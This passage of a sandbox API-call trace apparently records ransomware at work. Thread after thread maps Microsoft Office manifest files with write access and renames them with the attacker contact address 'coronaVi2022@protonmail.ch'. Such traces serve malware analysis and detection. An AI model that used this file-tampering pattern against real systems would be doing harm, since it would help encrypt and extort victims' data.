	[0089.928] CreateFileMappingA (hFile=0x7c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x780
	[0089.929] MapViewOfFile (hFileMappingObject=0x780, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2330000
	[0090.209] UnmapViewOfFile (lpBaseAddress=0x2330000) returned 1
	[0090.209] CloseHandle (hObject=0x780) returned 1
	[0090.209] GetCurrentThreadId () returned 0x157c
	[0090.209] FlushFileBuffers (hFile=0x7c8) returned 1
	[0091.202] CloseHandle (hObject=0x7c8) returned 1
	[0091.362] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 162
	[0091.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.422] free (_Block=0x2fde8c8) 
	[0091.422] RtlExitUserThread (Status=0x0) 

Thread:
	id = 318
	os_tid = 0x1580

	[0089.930] _alloca_probe () returned 0x40328a
	[0089.931] GetCurrentThreadId () returned 0x1580
	[0089.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0089.931] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x38aff5c | out: lpFileSize=0x38aff5c*=343329) returned 1
	[0089.931] CreateFileMappingA (hFile=0x7f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53d21, lpName=0x0) returned 0x770
	[0089.935] MapViewOfFile (hFileMappingObject=0x770, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38b0000
	[0090.889] UnmapViewOfFile (lpBaseAddress=0x38b0000) returned 1
	[0090.892] CloseHandle (hObject=0x770) returned 1
	[0090.893] GetCurrentThreadId () returned 0x1580
	[0090.893] FlushFileBuffers (hFile=0x7f0) returned 1
	[0091.284] CloseHandle (hObject=0x7f0) returned 1
	[0091.360] _swprintf (in: param_1=0x38a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 162
	[0091.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.420] free (_Block=0x2fe28e8) 
	[0091.420] RtlExitUserThread (Status=0x0) 

Thread:
	id = 319
	os_tid = 0x1584

	[0089.936] _alloca_probe () returned 0x40328a
	[0089.936] GetCurrentThreadId () returned 0x1584
	[0089.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x820
	[0089.937] GetFileSizeEx (in: hFile=0x820, lpFileSize=0x3c2ff5c | out: lpFileSize=0x3c2ff5c*=14913) returned 1
	[0089.937] CreateFileMappingA (hFile=0x820, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a41, lpName=0x0) returned 0x790
	[0089.938] MapViewOfFile (hFileMappingObject=0x790, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2340000
	[0090.202] UnmapViewOfFile (lpBaseAddress=0x2340000) returned 1
	[0090.202] CloseHandle (hObject=0x790) returned 1
	[0090.202] GetCurrentThreadId () returned 0x1584
	[0090.202] FlushFileBuffers (hFile=0x820) returned 1
	[0091.198] CloseHandle (hObject=0x820) returned 1
	[0091.356] _swprintf (in: param_1=0x3c29f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 162
	[0091.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.413] free (_Block=0x2fe38f0) 
	[0091.413] RtlExitUserThread (Status=0x0) 

Thread:
	id = 320
	os_tid = 0x1588

	[0089.939] _alloca_probe () returned 0x40328a
	[0089.940] GetCurrentThreadId () returned 0x1588
	[0089.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8
	[0089.940] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x3eaff5c | out: lpFileSize=0x3eaff5c*=357353) returned 1
	[0089.940] CreateFileMappingA (hFile=0x7d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x573f1, lpName=0x0) returned 0x7d0
	[0089.944] MapViewOfFile (hFileMappingObject=0x7d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3950000
	[0090.957] UnmapViewOfFile (lpBaseAddress=0x3950000) returned 1
	[0090.961] CloseHandle (hObject=0x7d0) returned 1
	[0090.961] GetCurrentThreadId () returned 0x1588
	[0090.961] FlushFileBuffers (hFile=0x7d8) returned 1
	[0091.302] CloseHandle (hObject=0x7d8) returned 1
	[0091.377] _swprintf (in: param_1=0x3ea9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 162
	[0091.377] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.437] free (_Block=0x2fe08d8) 
	[0091.437] RtlExitUserThread (Status=0x0) 

Thread:
	id = 321
	os_tid = 0x158c

	[0089.945] _alloca_probe () returned 0x40328a
	[0089.947] GetCurrentThreadId () returned 0x158c
	[0089.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x788
	[0089.947] GetFileSizeEx (in: hFile=0x788, lpFileSize=0x412ff5c | out: lpFileSize=0x412ff5c*=1273) returned 1
	[0089.947] CreateFileMappingA (hFile=0x788, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x750
	[0089.948] MapViewOfFile (hFileMappingObject=0x750, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2350000
	[0090.193] UnmapViewOfFile (lpBaseAddress=0x2350000) returned 1
	[0090.193] CloseHandle (hObject=0x750) returned 1
	[0090.193] GetCurrentThreadId () returned 0x158c
	[0090.193] FlushFileBuffers (hFile=0x788) returned 1
	[0091.196] CloseHandle (hObject=0x788) returned 1
	[0091.362] _swprintf (in: param_1=0x4129f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 162
	[0091.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.421] free (_Block=0x2fdf8d0) 
	[0091.421] RtlExitUserThread (Status=0x0) 

Thread:
	id = 322
	os_tid = 0x1590

	[0089.951] _alloca_probe () returned 0x40328a
	[0089.952] GetCurrentThreadId () returned 0x1590
	[0089.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0089.952] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x422ff5c | out: lpFileSize=0x422ff5c*=65011) returned 1
	[0089.952] CreateFileMappingA (hFile=0x814, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfdf5, lpName=0x0) returned 0x7e8
	[0089.953] MapViewOfFile (hFileMappingObject=0x7e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0090.319] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0090.319] CloseHandle (hObject=0x7e8) returned 1
	[0090.319] GetCurrentThreadId () returned 0x1590
	[0090.319] FlushFileBuffers (hFile=0x814) returned 1
	[0091.251] CloseHandle (hObject=0x814) returned 1
	[0091.373] _swprintf (in: param_1=0x4229f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 162
	[0091.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.432] free (_Block=0x2fe18e0) 
	[0091.432] RtlExitUserThread (Status=0x0) 

Thread:
	id = 323
	os_tid = 0x1594

	[0089.955] _alloca_probe () returned 0x40328a
	[0089.955] GetCurrentThreadId () returned 0x1594
	[0089.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0089.956] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x432ff5c | out: lpFileSize=0x432ff5c*=1273) returned 1
	[0089.956] CreateFileMappingA (hFile=0x758, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x824
	[0089.957] MapViewOfFile (hFileMappingObject=0x824, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0090.187] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0090.187] CloseHandle (hObject=0x824) returned 1
	[0090.187] GetCurrentThreadId () returned 0x1594
	[0090.187] FlushFileBuffers (hFile=0x758) returned 1
	[0091.193] CloseHandle (hObject=0x758) returned 1
	[0091.355] _swprintf (in: param_1=0x4329f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 162
	[0091.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.403] free (_Block=0x2fe48f8) 
	[0091.403] RtlExitUserThread (Status=0x0) 

Thread:
	id = 324
	os_tid = 0x1598

	[0089.958] _alloca_probe () returned 0x40328a
	[0089.958] GetCurrentThreadId () returned 0x1598
	[0089.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c
	[0089.959] GetFileSizeEx (in: hFile=0x82c, lpFileSize=0x462ff5c | out: lpFileSize=0x462ff5c*=1273) returned 1
	[0089.959] CreateFileMappingA (hFile=0x82c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x830
	[0089.960] MapViewOfFile (hFileMappingObject=0x830, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0090.186] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0090.186] CloseHandle (hObject=0x830) returned 1
	[0090.186] GetCurrentThreadId () returned 0x1598
	[0090.186] FlushFileBuffers (hFile=0x82c) returned 1
	[0091.186] CloseHandle (hObject=0x82c) returned 1
	[0091.355] _swprintf (in: param_1=0x4629f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 162
	[0091.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.402] free (_Block=0x2fdd8c0) 
	[0091.402] RtlExitUserThread (Status=0x0) 

Thread:
	id = 325
	os_tid = 0x159c

	[0089.961] _alloca_probe () returned 0x40328a
	[0089.962] GetCurrentThreadId () returned 0x159c
	[0089.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838
	[0089.962] GetFileSizeEx (in: hFile=0x838, lpFileSize=0x472ff5c | out: lpFileSize=0x472ff5c*=9216) returned 1
	[0089.962] CreateFileMappingA (hFile=0x838, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2400, lpName=0x0) returned 0x83c
	[0089.963] MapViewOfFile (hFileMappingObject=0x83c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x43b0000
	[0090.185] UnmapViewOfFile (lpBaseAddress=0x43b0000) returned 1
	[0090.186] CloseHandle (hObject=0x83c) returned 1
	[0090.186] GetCurrentThreadId () returned 0x159c
	[0090.186] FlushFileBuffers (hFile=0x838) returned 1
	[0091.184] CloseHandle (hObject=0x838) returned 1
	[0091.354] _swprintf (in: param_1=0x4729f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 162
	[0091.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.401] free (_Block=0x2feb930) 
	[0091.401] RtlExitUserThread (Status=0x0) 

Thread:
	id = 326
	os_tid = 0x15a0

	[0089.964] _alloca_probe () returned 0x40328a
	[0089.965] GetCurrentThreadId () returned 0x15a0
	[0089.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844
	[0089.965] GetFileSizeEx (in: hFile=0x844, lpFileSize=0x486ff5c | out: lpFileSize=0x486ff5c*=1273) returned 1
	[0089.966] CreateFileMappingA (hFile=0x844, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x848
	[0089.966] MapViewOfFile (hFileMappingObject=0x848, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x43c0000
	[0090.184] UnmapViewOfFile (lpBaseAddress=0x43c0000) returned 1
	[0090.184] CloseHandle (hObject=0x848) returned 1
	[0090.184] GetCurrentThreadId () returned 0x15a0
	[0090.184] FlushFileBuffers (hFile=0x844) returned 1
	[0091.181] CloseHandle (hObject=0x844) returned 1
	[0091.353] _swprintf (in: param_1=0x4869f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 162
	[0091.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.400] free (_Block=0x2fe6908) 
	[0091.400] RtlExitUserThread (Status=0x0) 

Thread:
	id = 327
	os_tid = 0x15a4

	[0089.970] _alloca_probe () returned 0x40328a
	[0089.971] GetCurrentThreadId () returned 0x15a4
	[0089.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0089.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x850
	[0089.971] GetFileSizeEx (in: hFile=0x850, lpFileSize=0x49aff5c | out: lpFileSize=0x49aff5c*=399535) returned 1
	[0089.972] CreateFileMappingA (hFile=0x850, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x618bd, lpName=0x0) returned 0x854
	[0089.975] MapViewOfFile (hFileMappingObject=0x854, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x4af0000
	[0090.794] UnmapViewOfFile (lpBaseAddress=0x4af0000) returned 1
	[0090.798] CloseHandle (hObject=0x854) returned 1
	[0090.798] GetCurrentThreadId () returned 0x15a4
	[0090.798] FlushFileBuffers (hFile=0x850) returned 1
	[0091.273] CloseHandle (hObject=0x850) returned 1
	[0091.376] _swprintf (in: param_1=0x49a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 162
